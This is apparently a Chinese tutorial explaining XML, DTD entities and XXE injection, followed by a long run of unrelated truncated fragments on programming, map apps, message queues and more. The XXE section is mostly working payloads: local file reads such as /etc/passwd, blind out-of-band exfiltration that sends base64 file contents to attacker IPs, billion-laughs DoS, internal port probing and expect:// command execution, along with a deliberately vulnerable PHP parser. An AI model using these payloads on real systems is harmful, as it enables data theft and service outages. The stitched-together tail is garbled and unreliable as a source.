XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。具体介绍如下
XML 指可扩展标记语言(EXtensible Markup Language)。
XML 的设计宗旨是传输数据,而不是显示数据。
XML 是 W3C 的推荐标准。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 语言没有预定义的标签。
XML的文档结构包含以下几种
1、XML声明
//示例: <?xml version="1.0" encoding="UTF-8"?>
2、DTD文档类型定义(可选):DTD文档类型定义是一套为了进行程序见的数据交换而建立的关于标记符的语法规则
3、文档元素
XML的构建模块模块组成与HTML类似,由下面几种组成
元素:XML文档的主要构建模块,可包含文本内容
//示例: <username>quan9i</username>
属性:提供元素的额外信息
//示例: <img src="1.jpg"/> src就是属性
实体:实体是用来定义普通文本的变量。实体引用是对实体的引用。
PCDATA(parsed character data):被解析的字符数据
ps:PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA(character data):字符数据
ps:CDATA 是不会被解析器解析的文本。
XML 被设计用来传输和存储数据,其焦点是数据的内容,旨在传输信息。
为什么需要XML呢,引用Qwzf
师傅的话
现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。
1、所有 XML 元素都须有关闭标签。
2、XML 标签对大小写敏感。
3、XML 必须正确地嵌套。
4、XML 文档必须有根元素。
5、XML 的属性值须加引号。
6、实体引用:在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应的HTML实体来表示,
//示例:<符号对应的实体就是<
7、在XML中,空格会被保留
//示例:<p>aa空格bb</p>,这个空格会被保留
举个例子
<?xml version="1.0" encoding="UTF-8"?> <!--xml文件的声明-->
<tttang> <!--根元素-->
<article category="CTF"> <!--tttang的子元素,category为属性-->
<title>XXE</title> <!--article的子元素-->
<author>quan9i</author> <!--article的子元素-->
<year>2022</year> <!--article的子元素-->
<data>8.20</data> <!--article的子元素-->
</article> <!--article的结束-->
</tttang> <!--tttang的结束-->
此时对于XML规则有了一定的认识,我们就可以来了解一下DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构,约束了xml文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
因为它既可以在内部引用,也可以在外部引用,这就造成了他有三种利用方式:内部引用
,外部引用
以及内+外引用
格式
<!DOCTYPE 根元素[定义内容]>
示例
<?xml version="1.0"?> <!--XML声明 -->
<!DOCTYPE note [ <!--定义了note元素-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素下的四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义了note的子元素to,(#PCDATA)表示元素to是字符串形式-->
<!ELEMENT from (#PCDATA)> <!--定义了note的子元素from,(#PCDATA)表示元素from是字符串形式-->
<!ELEMENT heading (#PCDATA)> <!--定义了note的子元素heading,(#PCDATA)表示元素heading是字符串形式-->
<!ELEMENT body (#PCDATA)> <!--定义了note的子元素body,(#PCDATA)表示元素body是字符串形式-->
]>
<!-- 至此,上方是DTD文档定义-->
<note>
<to>quan9i</to>
<from>is</from>
<heading>a</heading>
<body>web xiao bai!</body>
</note>
格式
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
示例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>quan9i</to>
<from>is</from>
<heading>a</heading>
<body>web xiao bai!</body>
</note>
note.dtd文件的内容如下
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
格式
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
也就是说,在DTD中的实体类型中,一般分为:内部实体和外部实体。
实体细分又分为一般实体和参数实体。
一般实体:
定义:<!ENTITY 实体名称 "实体内容">
调用:&实体名称;
参数实体:
定义:<!ENTITY % 实体名 "实体内容”>
调用:%实体名称;
格式
<!ENTITY 实体名称 "实体的值">
示例
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY article "XXE">
<!ENTITY author "quan9i">
]>
<test><article>&article;</article><author>&author;</author></test>
格式
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
示例
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY author SYSTEM "quan9i.xml">
]>
<test>&author;</test>
外部实体同时还支持http等协议,具体如下图
PHP在安装扩展以后还能支持的协议:
注意:
1.其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持
这里的话再举个例子
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<test>&file;</test>
同时由于实体又分两种,这里的话再给出一个例子了解一下参数实体
示例
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>
此时对于这些知识有了一定的了解,就可以来看一下XXE了
XXE漏洞全称XML External Entity Injection ,即xml外部实体注入漏洞。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
造成文件读取
命令执行
内网端口扫描
攻击内网网站
发起dos攻击等危害
测试代码如下
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>
对代码的解释如下
file_get_contents('php://input'):获取客户端输入的内容
new DOMDocument():初始化XML解析器
loadXML($xmlfile):加载客户端输入的XML内容
simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
$xxe=$xml->xxe:获取SimpleXMLElement对象中的节点XXE
echo $str:输出XXE内容。
POST上传内容
<?xml version="1.0" encoding="utf-8"?> //XML声明
<!DOCTYPE xml [ //定义xml元素
<!ENTITY quan9i SYSTEM "file:///c:/windows/system.ini"> //定义一般实体quan9i
]>
<xml>
<xxe>&quan9i;</xxe>
</xml>
尝试读取其他文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY quan9i SYSTEM "file:///d:/flag.txt">
]>
<test>
<xxe>&quan9i;</xxe>
</test>
源码如下
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>
构造payload如下
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
攻击机http://192.168.134.128
中eval.xml
的内容为
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://124.222.34.215/?file=%file;'>">
那么这个思路的话就是先调用remote,其实也就是包含这个攻击机上的文件,然后调用payload参数实体,此时就包含了file这个参数实体,然后此时就会去读取文件,那么此时send的内容就是http://192.168.134.128/?content=文件内容
,我们此时调用send,就会得到文件内容
简单的说,就是
1、调用remote-->包含eval.xml
2、调用payload-->包含file参数实体-->读取文件内容(此时send中就是文件内容了)
3、调用send(将文件内容取出)
base64解码一下
这个是把读取文件写在攻击机上了,我们也可以写入本地,像这种
构造payload
<!DOCTYPE convert [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
攻击机上eval.xml
的内容
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.134.128/?content=%file;'>">
得到flag
通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器会解析文档中的所有实体,所以如果实体声明层层嵌套的话,在一定数量上可以对服务器器造成DoS。
常见的XML恶意代码如下
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "dos">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
调用lol9
实体参数的时候,会调用10个lol8
实体参数,而每个lol8
实体参数又包含十个lol7
参数,此时就已经调用了10^2
个参数实体了,往下会更加的多,这个1K不到的文件经过解析后会耗用大量内存,最终会占用到3G的内存,由此可见这个漏洞是十分危险的
一般我们可以这样构造来进行DOS攻击
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
当我们获取到一个内网ip地址时,如果有回显,可以在浏览器访问根据访问时间和回显来进行判断
存活的端口回显为HTTP request failed!
不存活的端口回显位failed to open stream
我们也可以利用bp来查看端口是否存活,示例payload如下
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "http://10.244.80.20">
]>
<user><username>&file;</username><password>1</password></user>
而后利用burpsuite进行爆破,根据回显来判断出端口是否存活
说明这个未存活
具体操作见下方实战。
php的expect扩展可以直接执行系统命令,但遗憾的是这个扩展并不是默认安装的。
payload参考
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>
回显
<file>uid=501(Apple) gid=20(staff)
groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),
80(admin),81(_appserveradm),98(_lpadmin),401(com.apple.sharepoint.group.1),
33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),
399(com.apple.access_ssh)<file>
参考资料:
http://xz.aliyun.com/t/3357#toc-5
http://github.com/payloadbox/xxe-injection-payload-list
http://tttang.com/archive/1716/#toc_xxe
题目背景国际乒联现在主席沙拉拉自从上任以来就立志于推行一系列改革,以推动乒乓球运动在全球的普及。其中11分制改革引起了很大的争议,有一部分球员因为无法适应新规则只能选择退役。华华就是其中一位,他退役之后走上了乒乓球研究工作,意图弄明白11分制和21分制对选手的不同影响。在开展他的研究之前,他首先需要对他多年比赛的统计数据进行一些分析,所以需要你的帮忙。题目描述华华通过以下方式进行分析,首先将比赛每个球的胜负列成一张表,然后分别计算在11分制和21分制下,双方的比赛结果(截至记录末尾)。比如现在有这么一份记录,(其中W表示华华获得一分,L表示华华对手获得一分):WWWWWWWWWWWWWWWWWWWWWWLW在11分制下,此时比赛的结果是华华第一局11比0获胜,第二局11比0获胜,正在进行第三局,当前比分1比1。而在21分制下,此时比赛结果是华华第一局21比0获胜,正在进行第二局,比分2比1。如果一局比赛刚开始,则此时比分为0比0。直到分差大于或者等于2,才一局结束。你的程序就是要对于一系列比赛信息的输入(WL形式),输出正确的结果。输入格式每个输入文件包含若干行字符串,字符串有大写的W
✍️作者简介:一个热爱把逻辑思维转变为代码的技术博主?作者主页:【主页——?获取更多优质源码】?web前端期末大作业:【?毕设项目精品实战案例(1000套)】?程序员有趣的告白方式:【?HTML七夕情人节表白网页制作(110套)】?超炫酷的Echarts大屏可视化源码:【?Echarts大屏展示大数据平台可视化(150套)】?HTML+CSS+JS实例代码:【?️HTML+CSS+JS实例代码(炫酷代码)继续更新中...】?免费且实用的WEB前端学习指南:【?web前端零基础到高级学习视频教程120G干货分享】?关于作者:?历任研发工程师,技术组长,教学总监;曾于2016年、2020年两度荣获CSDN年度十大博客之星。十载寒冰,难凉热血;多年过去,历经变迁,物是人非。然而,对于技术的探索和追求从未停歇。?坚持原创,热衷分享,初心未改,继往开来!<hr>@TOC<hr>一、??网站题目?茶文化网站、?️?中华传统文化题材、京剧文化?水墨风书画、中国民间年画文化艺术网站、等网站的设计与制作。<hr>二、✍️网站描述?️这个首页代码运用了DIV盒子的使
1,百度地图最富有的地图,包括郊区的新道路和城里的小路等都可以完全展示出来。百度地图是我们的成功的数据搜集并且集成搜索引擎大数据结合的综合展示。地图导航2,腾讯地图腾讯地图,我必须拥有,否则我将不我,腾讯地图导航迅速开发给QQ和微信数据。有QQ和普通微信用户的支持,他们可以快速获得他们要的导航。腾讯地图的主要特点是:速度,简单,非常简单!是的,也就是说,你不会只使用它一次!缺点是信息不完美,特别是县,国家或新部分倾向于报告错误,误报。地图的详细信息仍然有改善的空间。3,Sogou地图Sogou地图叫最新的地图信息,并且实时更新,这真的吸引了很多人下载,使用后也不会非常尴尬的,尽管导航声音很疯狂,但是为机械声音,缺少刺激。但是,Sogou地图的界面优化仍然很好,图片也很清晰,不足的是更新在地图内容中没有那么及时,导致新的信息会错过。4,360地图360地图中规中矩没有她自己的特点,最大的缺点是360标记商家或街道有时展出在其他地图上,这不是360导航,没有360浏览设备的体验很差。我认为它应该制作大而全的导航。5,高德地图无论是界面优化还是方便,更有可能获得更新。整个网络的使用和下载数量
x星球经过和y星球的激战后,x星球已经无法居住,重建需要很长的时间,因此迁移到why星球上。ps:假设每个人ip代表不同的用户。ps:一个B代表一个字节,一个字节8位,即8个二进制数,1GB=1024MB=1024*1024KB=1024*1024*1024B。ps:ip如何转成int类型。每段均为最大值的ip为255.255.255.255,8位正好可以表示一个255大小的数字,因此每8位表示一个数字,ip一共是4段,正好32位。ps:255*255*255*255=4228250625,4228250625/(1024*1024*8)=504。复制ps:f1,f2,f3代表3个不同的hash函数。箭头指向的地方代表通过hash函数计算出的hash值同时也是在位图中的位置。 ps:另外一般情况下不能从布隆过滤器中删除元素,由于有一些字符串计算的hash值可能会相同,此时我们会想到,把每个位置存上对应的次数,删除元素的时候同时减1,前面我们说过会有误判的情况,所以要安全的删掉元素不是这么简单。end:本文主要讲解布隆过滤器的算法思想,具体的实现我们可以去看guava中的BloomFIl
安妮编译自CNBC 量子位出品|公众号QbitAIFacebook的AI研究人员想让卡通形象看起来像在演奏乐器。脑补不出来?画面可能是下面这样的——△让卡通形象听音演奏在上面的视频中,一个只有上半身的卡通小人随着播放的音乐假装在演奏或小提琴或钢琴,并且手的位置和节奏还随着播放音乐的变化而变化。不知道的还真以为是这个半身的卡通形象在演奏虚拟乐器呢,它是怎么学会假装演奏的本领的?在论文AudiotoBodyDynamics中,Facebook、斯坦福大学和华盛顿大学的EliShlizerman和LucioDery等四人揭秘了这个卡通形象背后的故事。教机器理解人类如何运动是AI研究的一个活跃领域,但一般来说,这需要大量视频来源。研究人员发现,Youtube上有非常多人类演奏钢琴、小提琴的视频可以利用,因此他们选用这些数据训练模型。模型训练好再听到音乐时,LSTM网络已经具备了预测人类肢体动作的能力,先输出手臂和手指的骨骼轮廓。之后研究人员将其卡通化,做成卡通形象在演奏的模样。△头像动作生成流程在接受外媒CNBC采访时,研究人员表示,此项研究非常有意义。“我们相信在VR/AR的应用中,音频和人
1.接口描述接口请求域名:organization.tencentcloudapi.com。 批量删除企业组织节点 默认接口请求频率限制:20次/秒。 APIExplorer提供了在线调用、签名验证、SDK代码生成和快速检索接口等能力。您可查看每次调用的请求内容和返回结果以及自动生成SDK调用示例。 2.输入参数以下请求参数列表仅列出了接口请求参数和部分公共参数,完整公共参数列表见公共请求参数。 参数名称 必选 类型 描述 Action 是 String 公共参数,本接口取值:DeleteOrganizationNodes。 Version 是 String 公共参数,本接口取值:2021-03-31。 Region 否 String 公共参数,本接口不需要传递此参数。 NodeId.N 是 ArrayofInteger 节点ID列表。 3.输出参数 参数名称 类型 描述 RequestId String 唯一请求ID,每次请求都会返回。定位问题时需要提供该次请求的RequestId。 4.示例示例1批量删除企业组织节点输入
关于这个事儿,我们一个一个来梳理吧,先假设一个场景,我们现在消费端出故障了,然后大量消息在mq里积压,现在事故了,慌了 (1)大量消息在mq里积压了几个小时了还没解决 几千万条数据在MQ里积压了七八个小时,从下午4点多,积压到了晚上很晚,10点多,11点多 这个是我们真实遇到过的一个场景,确实是线上故障了,这个时候要不然就是修复consumer的问题,让他恢复消费速度,然后傻傻的等待几个小时消费完毕。这个肯定不能在面试的时候说吧。 一个消费者一秒是1000条,一秒3个消费者是3000条,一分钟是18万条,1000多万条 所以如果你积压了几百万到上千万的数据,即使消费者恢复了,也需要大概1小时的时间才能恢复过来 一般这个时候,只能操作临时紧急扩容了,具体操作步骤和思路如下: 1)先修复consumer的问题,确保其恢复消费速度,然后将现有cnosumer都停掉 2)新建一个topic,partition是原来的10倍,临时建立好原先10倍或者20倍的queue数量 3)然后写一个临时的分发数
Mysql主从方案 序言 Mysql数据库可以通过源码编译安装,也可以通过RPM或yum安装,安装方法自选,但是我推荐用源码编译安装。 数据库安装 mysql主从复制中: 第一步:master记录二进制日志。在每个事务更新数据完成之前,master在二进制日志记录这些改变。MySQL将事务写入二进制日志,即使事务中的语句都是交叉执行的。在事件写入二进制日志完成后,master通知存储引擎提交事务。第二步:slave将master的binarylog拷贝到它自己的中继日志。首先,slave开始一个工作线程——I/O线程。I/O线程在master上打开一个普通的连接,然后开始binlogdumpprocess。Binlogdumpprocess从master的二进制日志中读取事件,如果已经执行完master产生的所有文件,它会睡眠并等待master产生新的事件。I/O线程将这些事件写入中继日志。 第三步:SQLslavethread(SQL从线程)处理该过程的最后一步。SQL线程从中继日志读取事件,并重新执行其中的事件而更新slave的数据,使其与master中的
插入、删除功能实现 /* *使用单链表;每次插入大约需要比较N/2次; *插入效率是O(N),删除表头元素效率是O(1) */ publicclassMySortQueue{ //使用单链表实现 privateEntryroot; privatestaticclassEntry{ intvalue; Entryafter; publicEntry(intmumber){ this.value=mumber; } } //对外暴躁的插入方法,主要处理root元素的相关操作 publicvoidinsert(intmumber){ Entryinsert=newEntry(mumber); if(root==null){ root=insert; return; } if(insert.value<root.value){ insert.after=root; root=insert; }else{ //调用insertSort方法 insertSort(insert,root); } } //受保护的插入方法 privatevoidinsertSort(Entryinset,E
王家林亲授《DT大数据梦工厂》大数据实战视频Scala深入浅出实战经典(1-64讲)完整视频、PPT、代码下载: 百度云盘:http://pan.baidu.com/s/1c0noOt6腾讯微云:http://url.cn/TnGbdC360云盘:http://yunpan.cn/cQ4c2UALDjSKy访问密码45e2土豆:http://www.tudou.com/programs/view/9JKSqMiQuBE/优酷:http://v.youku.com/v_show/id_XMTI4NzM2Nzg1Ng==.html?from=s1.8-1-1.2爱奇艺:http://www.iqiyi.com/w_19rrt82wmt.html#vfrm=2-3-0-1腾讯视频:http://v.qq.com/boke/page/k/0/4/k0159pbmye4.html技术爱好者尤其是大数据爱好者可以加DT大数据梦工厂的qq群 DT大数据梦工厂①:462923555DT大数据梦工厂②:437123764DT大数据梦工厂③:418110145 微信公众账号:DT_Spark王家林老师微信
对话框类型 1. 警告框:用于提示用户相关信息的验证结果,错误或警告等 2.提示框:用于提示用户在当前对话框中输入数据,一般需要用户单击取消或者确认按钮 3.确认框: 用于提示用户确认或者取消某个操作,一般需要用户单击取消或者确认按钮 测试页面 用如下页面为例进行讲解, 包括了警告框,提示框,确认框 http://sislands.com/coin70/week1/dialogbox.htm Selenium操作对话框的代码 publicstaticvoidtestAlert(WebDriverdriver) { Stringurl="http://sislands.com/coin70/week1/dialogbox.htm"; driver.get(url); WebElementalertButton=driver.findElement(By.xpath("//input[@value='alert']")); alertButton.click(); AlertjavascriptAlert=
1、Winodw安装openssl工具(生成SSL证书用的)免编译版本下载: http://slproweb.com/products/Win32OpenSSL.html 注意:如果openssl在使用过程中报无法读取conf文件,重启下电脑就好了 Cmd里面的全部命令: C:\OpenSSL-Win64>cdbin C:\OpenSSL-Win64\bin>opensslgenrsa-des3-outssd.key1024 GeneratingRSAprivatekey,1024bitlongmodulus ....++++++ ........++++++ eis65537(0x10001) Enterpassphraseforssd.key: ---123456 Verifying-Enterpassphraseforssd.key: ---123456 C:\OpenSSL-Win64\bin>opensslreq-new-keyssd.key-outssd.csr Ente
“映像劫持”,也被称为“IFEO”(ImageFileExecutionOptions),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsNT架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。 “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions”内,使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等,大概微软考虑到加入路径控制会造成判断麻烦与操作不灵活的后果,也容易导致注册表冗余,于是IFEO使用忽略路径的方式来匹配它所要控制的
1.将新闻的正文内容保存到文本文件。 defwriteNewsDatail(content): f=open('gzccnews1.txt','a',encoding='utf-8') f.write(content) f.close()复制 2.将新闻数据结构化为字典的列表: 单条新闻的详情-->字典news 一个列表页所有单条新闻汇总-->列表newsls.append(news) 所有列表页的所有新闻汇总列表newstotal.extend(newsls) importpandas importrequests importre frombs4importBeautifulSoup fromdatetimeimportdatetime defwriteNewsDatail(content): f=open('gzccnews1.txt','a',encoding='utf-8') f.write(content) f.close()#dui #获取新闻点击次数 defgetNewsId(url):#dui newsId=re.finda
vue中的插槽(slot),是组件当中的一块HTML模板。父组件决定插槽是否显示以及如何显示,不过显示位置由子组件决定,将插槽放在<template></template>中的哪个位置,模板就展示在哪个位置。 1.默认插槽(无name属性,或称匿名插槽) 示例: (父组件代码↓) <template> <div> <h3>我是一个父组件</h3> <!--子组件内容↓--> <child> <div> 这里是子组件内容! </div> </child> </div> </template>复制 (子组件代码↓) <template> <div> <h5>我是子组件</h5> <slot></slot> </div> </template>复制 (效果↓) 在上面例子中,父组件在<child></c
前言 Ag是类似ack,grep的工具,它来在文件中搜索相应关键字。 官方列出了几点选择它的理由: 它比ack还要快 它会忽略.gitignore和.hgignore中的匹配文件 如果有你想忽略的文件,你需要将(congh*.min.jscough)加入到.ignore文件中 它的命令名称更短:-) 安装 下载源码 下载地址:http://geoff.greer.fm/ag 安装PCRE 目前已经有PCRE2,但这里需要PCRE https://downloads.sourceforge.net/pcre/pcre-8.41.tar.bz2 从官网下载.tar.gz的版本,注意不要下载zip版本 下载后解压缩正常安装 ./configure--prefix=/usr--docdir=/usr/share/doc/pcre-8.41--enable-unicode-properties--enable-pcre16--enable-pcre32--enable-pcregrep-libz--enable-pcregrep-libbz2--enable--disable-static&
///<summary> ///获取远程服务器内容,并转换成流 ///</summary> ///<paramname="path">http://localhost:51573</param> ///<returns></returns> privateMemoryStreamGetUrlMemoryStream(stringpath) { HttpWebRequestrequest=(HttpWebRequest)WebRequest.Create(path); HttpWebResponseresponse=(HttpWebResponse)request.GetResponse(); StreamresponseStream=response.GetResponseStream(); List<byte>btlst=newList<byte>(); intb=responseStream.ReadByte(); while(b>-1) { btlst.Add((byte)b